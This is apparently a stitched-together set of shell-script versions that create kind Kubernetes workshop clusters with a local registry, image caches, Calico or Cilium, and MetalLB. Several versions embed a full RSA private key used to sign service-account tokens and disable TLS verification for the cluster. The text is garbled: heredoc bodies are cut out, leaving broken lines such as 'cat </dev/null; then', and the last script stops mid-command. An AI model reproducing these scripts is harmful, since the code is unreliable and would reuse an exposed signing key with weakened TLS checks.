+z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +helm repo add cilium https://helm.cilium.io/ + +helm --kube-context kind-kind${number} install cilium cilium/cilium --version 1.12.0 \ + --namespace kube-system \ + --set prometheus.enabled=true \ + --set operator.prometheus.enabled=true \ + --set hubble.enabled=true \ + --set hubble.metrics.enabled="{dns:destinationContext=pod|ip;sourceContext=pod|ip,drop:destinationContext=pod|ip;sourceContext=pod|ip,tcp:destinationContext=pod|ip;sourceContext=pod|ip,flow:destinationContext=pod|ip;sourceContext=pod|ip,port-distribution:destinationContext=pod|ip;sourceContext=pod|ip}" \ + --set hubble.relay.enabled=true \ + --set hubble.ui.enabled=true \ + --set kubeProxyReplacement=partial \ + --set hostServices.enabled=false \ + --set hostServices.protocols="tcp" \ + --set externalIPs.enabled=true \ + --set nodePort.enabled=true \ + --set hostPort.enabled=true \ + --set bpf.masquerade=false \ + --set image.pullPolicy=IfNotPresent \ + --set ipam.mode=kubernetes +kubectl --context=kind-kind${number} -n kube-system rollout status ds cilium || true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml <./oidc/sa-signer-pkcs8.pub +-----BEGIN PUBLIC KEY----- +MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA53YiBcrn7+ZK0Vb4odeA +1riYdvEb8To4H6/HtF+OKzuCIXFQ+bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL +395nvxdly83SUrdh7ItfOPRluuuiPHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0Zw +zIM9OviX8iEF8xHWUtz4BAMDG8N6+zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm +5X5uOKsCHMtNSjqYUNB1DxN6xxM+odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD8 +2p/16KQKU6TkZSrldkYxiHIPhu+5f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9 +ywIDAQAB +-----END PUBLIC KEY----- +EOF + +cat <<'EOF' >./oidc/sa-signer.key +-----BEGIN RSA PRIVATE KEY----- +MIIEpAIBAAKCAQEA53YiBcrn7+ZK0Vb4odeA1riYdvEb8To4H6/HtF+OKzuCIXFQ ++bRy7yMrDGITYpfYPrTZOgfdeTLZqOiAj+cL395nvxdly83SUrdh7ItfOPRluuui +PHnFn111wpyjBw5nut4Kx+M5MksNfA1hU0ZwzIM9OviX8iEF8xHWUtz4BAMDG8N6 ++zpLo0pAzaei5hKuLZ9dZOzHBC8VOW82cQMm5X5uOKsCHMtNSjqYUNB1DxN6xxM+ +odGWT/6xthPGk6YCxmO28YHPFZfiS2eAIpD82p/16KQKU6TkZSrldkYxiHIPhu+5 +f9faZJG7dB9pLN1SfdTBio4PK5Mz9muLUCv9ywIDAQABAoIBAB8tro+RMYUDRHjG +el9ypAxIeWEsQVNRQFYkW4ZUiNYSAgl3Ni0svX6xAg989peFVL+9pLVIcfDthJxY +FVlNCjBxyQ/YmwHFC9vQkARJEd6eLUXsj8INtS0ubbp1VxCQRDDL0C/0z7OSoJJh +SwboqjEiTJExA2a+RArmEDTBRzdi3t+kT8G23JcqOivrITt17K6bQYyJXw7/vUdc +r/R+hfd5TqVq92VddzDT7RNJAxsbPPXjGnESlq1GALBDs+uBGYsP0fiEJb2nicSv +z9fBnBeERhut1gcE0C0iLRQZb+3r8TitBtxrZv+0BHgXrkKtXDwWTqGEKOwC4dBn +7nxkH2ECgYEA6+/DOTABGYOWOQftFkJMjcugzDrjoGpuXuVOTb65T+3FHAzU93zy +3bt3wQxrlugluyy9Sc/PL3ck2LgUsPHZ+s7zsdGvvGALBD6bOSSKATz9JgjwifO8 +PgqUz1kXRwez2CtKLOOCFFtcIzEdWIzsa1ubNqLzgN7rD+XBkUc2uEcCgYEA+yTy +72EDMQVoIZOygytHsDNdy0iS2RsBbdurT27wkYuFpFUVWdbNSL+8haE+wJHseHcw +BD4WIMpU+hnS4p4OO8+6V7PiXOS5E/se91EJigZAoixgDUiC8ihojWgK9PYEavUo +hULWbayO59SxYWeUI4Ze0GP8Jw8vdB86ib4ulF0CgYEAgyzRuLjk05+iZODwQyDn +WSquov3W0rh51s7cw0LX2wWSQm8r9NGGYhs5kJ5sLwGxAKj2MNSWF4jBdrCZ6Gr+ +y4BGY0X209/+IAUC3jlfdSLIiF4OBlT6AvB1HfclhvtUVUp0OhLfnpvQ1UwYScRI +KcRLvovIoIzP2g3emfwjAz8CgYEAxUHhOhm1mwRHJNBQTuxok0HVMrze8n1eov39 +0RcvBvJSVp+pdHXdqX1HwqHCmxhCZuAeq8ZkNP8WvZYY6HwCbAIdt5MHgbT4lXQR +f2l8F5gPnhFCpExG5ZLNg/urV3oAQE4stHap21zEpdyOMhZb6Yc5424U+EzaFdgN +b3EcPtUCgYAkKvUlSnBbgiJz1iaN6fuTqH0efavuFGMhjNmG7GtpNXdgyl1OWIuc +Yu+tZtHXtKYf3B99GwPrFzw/7yfDwae5YeWmi2/pFTH96wv3brJBqkAWY8G5Rsmd +qF50p34vIFqUBniNRwSArx8t2dq/CuAMgLAtSjh70Q6ZAnCF85PD8Q== +-----END RSA PRIVATE KEY----- +EOF + +cat << EOF > kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} + extraMounts: + - containerPath: /etc/kubernetes/oidc + hostPath: /${PWD}/oidc +networking: + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: ClusterConfiguration + apiServer: + extraArgs: + service-account-key-file: /etc/kubernetes/pki/sa.pub + service-account-key-file: /etc/kubernetes/oidc/sa-signer-pkcs8.pub + service-account-signing-key-file: /etc/kubernetes/oidc/sa-signer.key + service-account-issuer: https://solo-workshop-oidc.s3.us-east-1.amazonaws.com + api-audiences: sts.amazonaws.com + extraVolumes: + - name: oidc + hostPath: /etc/kubernetes/oidc + mountPath: /etc/kubernetes/oidc + readOnly: true + metadata: + name: config +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}.1${twodigits}.1-${networkkind}.1${twodigits}.254 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "0.0.0.0:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +networking: + ipFamily: ipv6 +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-central1-docker.pkg.dev"] + endpoint = ["http://us-central1-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].GlobalIPv6Address') +networkkind=$(echo ${ipkind} | rev | cut -d: -f2- | rev): + +#kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull quay.io/metallb/speaker:v0.13.12 +kind load docker-image quay.io/metallb/controller:v0.13.12 --name kind${number} +kind load docker-image quay.io/metallb/speaker:v0.13.12 --name kind${number} +kubectl --context=kind-kind${number} apply -f https://raw.githubusercontent.com/metallb/metallb/v0.13.12/config/manifests/metallb-native.yaml +kubectl --context=kind-kind${number} create secret generic -n metallb-system memberlist --from-literal=secretkey="$(openssl rand -base64 128)" +kubectl --context=kind-kind${number} -n metallb-system rollout status deploy controller || true + +cat << EOF > metallb${number}.yaml +apiVersion: metallb.io/v1beta1 +kind: IPAddressPool +metadata: + name: first-pool + namespace: metallb-system +spec: + addresses: + - ${networkkind}${number}1-${networkkind}${number}9 +--- +apiVersion: metallb.io/v1beta1 +kind: L2Advertisement +metadata: + name: empty + namespace: metallb-system +EOF + +printf "Create IPAddressPool in kind-kind${number}\n" +for i in {1..10}; do +kubectl --context=kind-kind${number} apply -f metallb${number}.yaml && break +sleep 2 +done + +# connect the registry to the cluster network if not already connected +printf "Renaming context kind-kind${number} to ${name}\n" +for i in {1..100}; do + (kubectl config get-contexts -oname | grep ${name}) && break + kubectl config rename-context kind-kind${number} ${name} && break + printf " $i"/100 + sleep 2 + [ $i -lt 100 ] || exit 1 +done + +# Document the local registry +# https://github.com/kubernetes/enhancements/tree/master/keps/sig-cluster-lifecycle/generic/1755-communicating-a-local-registry +cat </dev/null; then + myip=$(hostname -I | awk '{ print $1 }') +else + myip=$(ipconfig getifaddr en0) +fi + +reg_name='kind-registry' +reg_port='5000' +running="$(docker inspect -f '{{.State.Running}}' "${reg_name}" 2>/dev/null || true)" +if [ "${running}" != 'true' ]; then + docker run \ + -d --restart=always -p "127.0.0.1:${reg_port}:5000" --name "${reg_name}" \ + registry:2 +fi + +cache_port='5000' +cat > registries </dev/null || true)" +if [ "${running}" != 'true' ]; then + cat > ${HOME}/.${cache_name}-config.yml < kind${number}.yaml +kind: Cluster +apiVersion: kind.x-k8s.io/v1alpha4 +nodes: +- role: control-plane + image: ${kindest_node} + extraPortMappings: + - containerPort: 6443 + hostPort: 70${twodigits} +- role: worker + image: ${kindest_node} +- role: worker + image: ${kindest_node} +networking: + disableDefaultCNI: true + serviceSubnet: "10.$(echo $twodigits | sed 's/^0*//').0.0/16" + podSubnet: "10.1${twodigits}.0.0/16" +kubeadmConfigPatches: +- | + kind: InitConfiguration + nodeRegistration: + kubeletExtraArgs: + node-labels: "ingress-ready=true,topology.kubernetes.io/region=${region},topology.kubernetes.io/zone=${zone}" +containerdConfigPatches: +- |- + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."localhost:${reg_port}"] + endpoint = ["http://${reg_name}:${reg_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."docker.io"] + endpoint = ["http://docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."us-docker.pkg.dev"] + endpoint = ["http://us-docker:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."quay.io"] + endpoint = ["http://quay:${cache_port}"] + [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] + endpoint = ["http://gcr:${cache_port}"] +EOF + +kind create cluster --name kind${number} --config kind${number}.yaml + +ipkind=$(docker inspect kind${number}-control-plane | jq -r '.[0].NetworkSettings.Networks[].IPAddress') +networkkind=$(echo ${ipkind} | awk -F. '{ print $1"."$2 }') + +kubectl config set-cluster kind-kind${number} --server=https://${myip}:70${twodigits} --insecure-skip-tls-verify=true + +docker network connect "kind" "${reg_name}" || true +docker network connect "kind" docker || true +docker network connect "kind" us-docker || true +docker network connect "kind" us-central1-docker || true +docker network connect "kind" quay || true +docker network connect "kind" gcr || true + +kubectl --context kind-kind${number} apply -f https://raw.githubusercontent.com/projectcalico/calico/v3.27.0/manifests/calico.yaml + +# Preload MetalLB images +docker pull quay.io/metallb/controller:v0.13.12 +docker pull 